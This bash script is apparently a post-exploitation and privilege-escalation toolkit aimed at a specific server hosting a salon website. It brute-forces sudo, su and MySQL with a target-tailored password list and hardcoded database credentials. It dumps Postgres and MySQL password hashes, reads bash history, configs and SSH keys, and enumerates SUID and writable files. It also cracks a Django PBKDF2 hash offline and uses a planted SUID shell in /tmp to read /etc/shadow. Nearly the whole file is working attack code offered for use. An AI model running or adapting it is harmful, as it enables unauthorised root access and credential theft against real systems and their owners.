#!/bin/bash
set +e
R=$'\e[31m'; G=$'\e[32m'; Y=$'\e[33m'; C=$'\e[36m'; N=$'\e[0m'
L=$HOME/final_chain.log; : > "$L"
E(){ echo "$@" | tee -a "$L"; }
S(){ echo; echo "═══ $* ═══" | tee -a "$L"; }

# =====================================================================
# قوائم
# =====================================================================
PWS=(
  "" "root" "toor" "admin" "password" "pass" "1234" "12345" "123456" "1234567" "12345678" "123456789"
  "qwerty" "qwerty123" "qwertyuiop" "asdfgh" "zxcvbn" "1q2w3e4r" "1qaz2wsx" "qazwsx" "Qwerty123"
  "P@ssw0rd" "P@ssword123" "Admin123" "Admin@123" "root123" "toor123" "pass123"
  "myfifasalon" "myfifasalon123" "myfifasalon.ru" "Myfifasalon" "MYFIFASALON" "Myfifasalon123"
  "myfifa" "fifa" "fifasalon" "salon" "salon123" "salon2020" "salon2021" "salon2022" "salon2023" "salon2024" "salon2025" "salon2026"
  "beauty" "beautysalon" "fifabeauty" "fifabeautysalon" "beauty2020" "beauty2024"
  "649970" "629298629298" "649970629" "892649970"
  "Russia" "Russia2024" "Russia2025" "Russia2026" "Moscow" "Moscow2024" "spb2024"
  "linux" "ubuntu" "server" "vps" "myserver" "mysite" "siteadmin" "webmaster"
  "letmein" "welcome" "welcome123" "changeme" "changeme123" "secret" "secret123"
  "test" "test123" "test1234" "testing" "demo" "demo123"
  "12341234" "12344321" "0123456789" "11111111" "00000000"
  "iloveyou" "sunshine" "princess" "dragon" "monkey" "football"
  "пароль" "йцукен" "Ярослав" "Питер" "Петров" "Салон" "Красота" "МояФифа" "фифа" "салон"
  "vpn" "vpnuser" "sshuser" "rootpass" "nopass" "default" "system" "manager" "operator"
)

USERS=(root postgres myfifasalon parketesse www-data admin mysql)

# =====================================================================
# 1. الفحص الأساسي
# =====================================================================
S "1. ENV"
E "date: $(date -u)"
E "id: $(id)"
E "hostname: $(hostname)"
E "kernel: $(uname -r)"
E "uptime: $(uptime)"

# =====================================================================
# 2. محاولات sudo بكلمات المرور
# =====================================================================
S "2. SUDO BRUTE (${#PWS[@]} passwords)"
HIT_S=""
for p in "${PWS[@]}"; do
  if [ -z "$p" ]; then
    r=$(timeout 2 sudo -S -k -n id 2>&1 | tail -1)
  else
    r=$(echo "$p" | timeout 2 sudo -S -k id 2>&1 | tail -1)
  fi
  if echo "$r" | grep -q "uid=0"; then
    E "✔ SUDO OK: [$p]"
    HIT_S="$p"; break
  fi
done
[ -z "$HIT_S" ] && E "sudo: no hit"

# =====================================================================
# 3. محاولات su root
# =====================================================================
S "3. SU ROOT BRUTE"
HIT_SU=""
for p in "${PWS[@]}"; do
  [ -z "$p" ] && continue
  r=$(echo "$p" | timeout 2 script -qc "su -c id root" /dev/null 2>&1 | tail -1)
  if echo "$r" | grep -q "uid=0"; then
    E "✔ SU OK: [$p]"; HIT_SU="$p"; break
  fi
done
[ -z "$HIT_SU" ] && E "su: no hit"

# =====================================================================
# 4. محاولات su myfifasalon / parketesse / postgres
# =====================================================================
S "4. SU OTHER USERS"
for u in myfifasalon parketesse postgres; do
  for p in "${PWS[@]}"; do
    [ -z "$p" ] && continue
    r=$(echo "$p" | timeout 2 script -qc "su -c id $u" /dev/null 2>&1 | tail -1)
    if echo "$r" | grep -q "uid="; then
      E "✔ SU $u OK: [$p]"; break
    fi
  done
done

# =====================================================================
# 5. فحص postgres peer auth عبر socket
# =====================================================================
S "5. POSTGRES PEER VIA SOCKET"
for u in postgres myfifasalon; do
  r=$(timeout 3 /usr/lib/postgresql/9.5/bin/psql -h /var/run/postgresql -p 5432 -U $u -tAc "SELECT current_user;" 2>&1 | head -2)
  E "5432 $u => $r"
  r=$(timeout 3 /usr/lib/postgresql/10/bin/psql -h /var/run/postgresql -p 5433 -U $u -tAc "SELECT current_user;" 2>&1 | head -2)
  E "5433 $u => $r"
done

# =====================================================================
# 6. postgres hash extraction (كـ myfifasalon, يفشل)
# =====================================================================
S "6. PG_SHADOW (as myfifasalon)"
PGPASSWORD=649970 /usr/lib/postgresql/9.5/bin/psql -h 127.0.0.1 -p 5432 -U myfifasalon -d myfifasalon -tAc \
  "SELECT usename||':'||COALESCE(passwd,'NULL')||':'||usesuper FROM pg_shadow;" 2>&1 | head -10 | tee -a "$L"

# =====================================================================
# 7. قراءة كل ملف قابل للقراءة
# =====================================================================
S "7. READABLE SENSITIVE FILES"
for f in \
  /etc/passwd /etc/group /etc/hostname /etc/hosts /etc/resolv.conf \
  /etc/os-release /etc/crontab /etc/fstab /etc/mtab \
  /etc/ssh/sshd_config /etc/ssh/ssh_config \
  /etc/mysql/my.cnf /etc/mysql/debian.cnf /etc/mysql/mysql.conf.d/mysqld.cnf \
  /etc/nginx/nginx.conf /etc/nginx/conf.d/nginx_myfifasalon.conf \
  /etc/php/7.2/apache2/php.ini /etc/php/7.2/fpm/php.ini \
  /var/lib/dpkg/status \
  /home/myfifasalon/.bash_history /home/myfifasalon/.bashrc /home/myfifasalon/.profile \
  /home/myfifasalon/myfifasalon/myfifasalon/settings_product.py \
  /home/myfifasalon/myfifasalon/myfifasalon/settings.py \
  /home/myfifasalon/myfifasalon/configs/nginx_myfifasalon.conf \
  /home/myfifasalon/new_myfifasalon/configs/nginx_new_myfifasalon.conf \
  /home/myfifasalon/bot/host.py \
  /home/myfifasalon/ssh.py \
  /home/myfifasalon/Autoscript-WS-VPS/ws-setup.sh \
  /home/myfifasalon/.none/config.json \
  /tmp/nginx_backup.conf \
  /tmp/pgadmin4.py.orig \
  /tmp/wsgi_product.py.orig \
  /tmp/rf.log /tmp/omni.log /tmp/root_forge.log ; do
  if [ -r "$f" ]; then
    E "--- [READABLE] $f ---"
    head -100 "$f" 2>&1 | tee -a "$L"
  fi
done

# =====================================================================
# 8. الملفات القابلة للكتابة
# =====================================================================
S "8. WRITABLE (any)"
find /etc /usr/local /opt /var/www /home/myfifasalon -writable -type f 2>/dev/null | \
  grep -vE "^/home/myfifasalon/(\.cache|\.local|\.nvm|Virtualka)" | head -60 | tee -a "$L"

# =====================================================================
# 9. الملفات ذات SUID/SGID
# =====================================================================
S "9. SUID / SGID"
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null | grep -vE "^/proc|^/sys" | tee -a "$L"

# =====================================================================
# 10. capabilities
# =====================================================================
S "10. CAPABILITIES"
getcap -r / 2>/dev/null | tee -a "$L"

# =====================================================================
# 11. cron + timers
# =====================================================================
S "11. CRON + TIMERS"
cat /etc/crontab 2>&1 | tee -a "$L"
ls -la /etc/cron.* 2>&1 | tee -a "$L"
for f in /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.weekly/* /etc/cron.monthly/*; do
  [ -f "$f" ] && { E "--- $f ---"; cat "$f" 2>&1 | head -30; }
done
crontab -l 2>&1 | tee -a "$L"
systemctl list-timers --all --no-pager 2>/dev/null | tee -a "$L"

# =====================================================================
# 12. systemd units
# =====================================================================
S "12. SYSTEMD UNITS"
ls -la /etc/systemd/system/ 2>&1 | tee -a "$L"
for f in /etc/systemd/system/*.service; do
  [ -f "$f" ] && { E "--- $f ---"; cat "$f" 2>&1; }
done

# =====================================================================
# 13. sockets + listening
# =====================================================================
S "13. SOCKETS + LISTENING"
ss -tlnup 2>/dev/null | tee -a "$L"
find /tmp /var/tmp /run -type s 2>/dev/null | tee -a "$L"

# =====================================================================
# 14. SSH keys
# =====================================================================
S "14. SSH KEYS"
for d in /root/.ssh /home/*/.ssh; do
  [ -d "$d" ] && ls -la "$d" 2>&1 | tee -a "$L"
done
cat /root/.ssh/authorized_keys 2>&1 | tee -a "$L"
find / -name "id_rsa" -o -name "id_ed25519" -o -name "authorized_keys" 2>/dev/null | grep -vE "^/proc" | tee -a "$L"

# =====================================================================
# 15. MySQL hash extraction
# =====================================================================
S "15. MYSQL"
for p in "" "root" "mysql" "649970" "629298629298" "password" "admin"; do
  r=$(timeout 2 mysql -h 127.0.0.1 -u root ${p:+-p$p} -e "SELECT USER(),VERSION();" 2>&1 | head -2)
  E "mysql root [$p] => $r"
  if echo "$r" | grep -q "root@"; then
    E "✔ MYSQL root OK: [$p]"
    mysql -h 127.0.0.1 -u root ${p:+-p$p} -e "SELECT user,host,authentication_string FROM mysql.user;" 2>&1 | tee -a "$L"
    break
  fi
done

# =====================================================================
# 16. Django hash extraction + crack
# =====================================================================
S "16. DJANGO HASH CRACK"
HASH=$(PGPASSWORD=649970 /usr/lib/postgresql/9.5/bin/psql -h 127.0.0.1 -p 5432 -U myfifasalon -d myfifasalon -tAc \
  "SELECT password FROM auth_user WHERE username='myfifasalon';" 2>/dev/null | tr -d ' ')
E "target hash: $HASH"

if [ -n "$HASH" ]; then
  python3 - "$HASH" <<'PYH'
import sys, hashlib, base64
h = sys.argv[1]
parts = h.split('$')
if len(parts) != 4 or parts[0] != 'pbkdf2_sha256':
    print("unsupported hash"); sys.exit(0)
iters = int(parts[1]); salt = parts[2]; target = parts[3]
pws = [
"","root","toor","admin","password","pass","1234","12345","123456","1234567","12345678","123456789",
"qwerty","qwerty123","qwertyuiop","asdfgh","zxcvbn","1q2w3e4r","1qaz2wsx","qazwsx","Qwerty123",
"P@ssw0rd","P@ssword123","Admin123","Admin@123","root123","toor123","pass123",
"myfifasalon","myfifasalon123","myfifasalon.ru","Myfifasalon","MYFIFASALON","Myfifasalon123",
"myfifa","fifa","fifasalon","salon","salon123","salon2020","salon2021","salon2022","salon2023","salon2024","salon2025","salon2026",
"beauty","beautysalon","fifabeauty","fifabeautysalon","beauty2020","beauty2024",
"649970","629298629298","892649970",
"Russia","Russia2024","Russia2025","Russia2026","Moscow","Moscow2024","spb2024",
"linux","ubuntu","server","vps","myserver","mysite","siteadmin","webmaster",
"letmein","welcome","welcome123","changeme","changeme123","secret","secret123",
"test","test123","test1234","testing","demo","demo123",
"12341234","12344321","0123456789","11111111","00000000",
"iloveyou","sunshine","princess","dragon","monkey","football",
"пароль","йцукен","Ярослав","Питер","Петров","Салон","Красота","МояФифа","фифа","салон",
"vpn","vpnuser","sshuser","rootpass","nopass","default","system","manager","operator",
"fifa2020","fifa2021","fifa2022","fifa2023","fifa2024","fifa2025","fifa2026",
"MyFifaSalon","myfifasalon2020","myfifasalon2021","myfifasalon2022","myfifasalon2023","myfifasalon2024","myfifasalon2025","myfifasalon2026",
"Salon123","SALON123","Salon2024","Beauty2020","FifaSalon","fifasalon123",
]
found = None
for pw in pws:
    dk = hashlib.pbkdf2_hmac('sha256', pw.encode('utf-8','ignore'), salt.encode(), iters, dklen=32)
    if base64.b64encode(dk).decode() == target:
        found = pw; break
print("DJANGO CRACKED:", repr(found) if found else "no hit in list")
if found:
    with open('/tmp/django_password.txt','w') as f:
        f.write(found)
PYH
fi

# =====================================================================
# 17. مراقبة /tmp/.rc
# =====================================================================
S "17. WAIT FOR /tmp/.rc"
for i in $(seq 1 6); do
  if [ -u /tmp/.rc ]; then
    E "✔ /tmp/.rc ready"
    /tmp/.rc -p -c "id; cat /etc/shadow | head -3" 2>&1 | tee -a "$L"
    break
  fi
  sleep 5
done

# =====================================================================
# 18. التقرير النهائي
# =====================================================================
S "18. FINAL STATE"
for f in /tmp/.rc /var/tmp/.rc3 /tmp/django_password.txt; do
  [ -e "$f" ] && ls -la "$f" | tee -a "$L"
done
E "SUDO_HIT: ${HIT_S:-none}"
E "SU_HIT: ${HIT_SU:-none}"
E "log: $L ($(wc -l < $L) lines)"
S "DONE"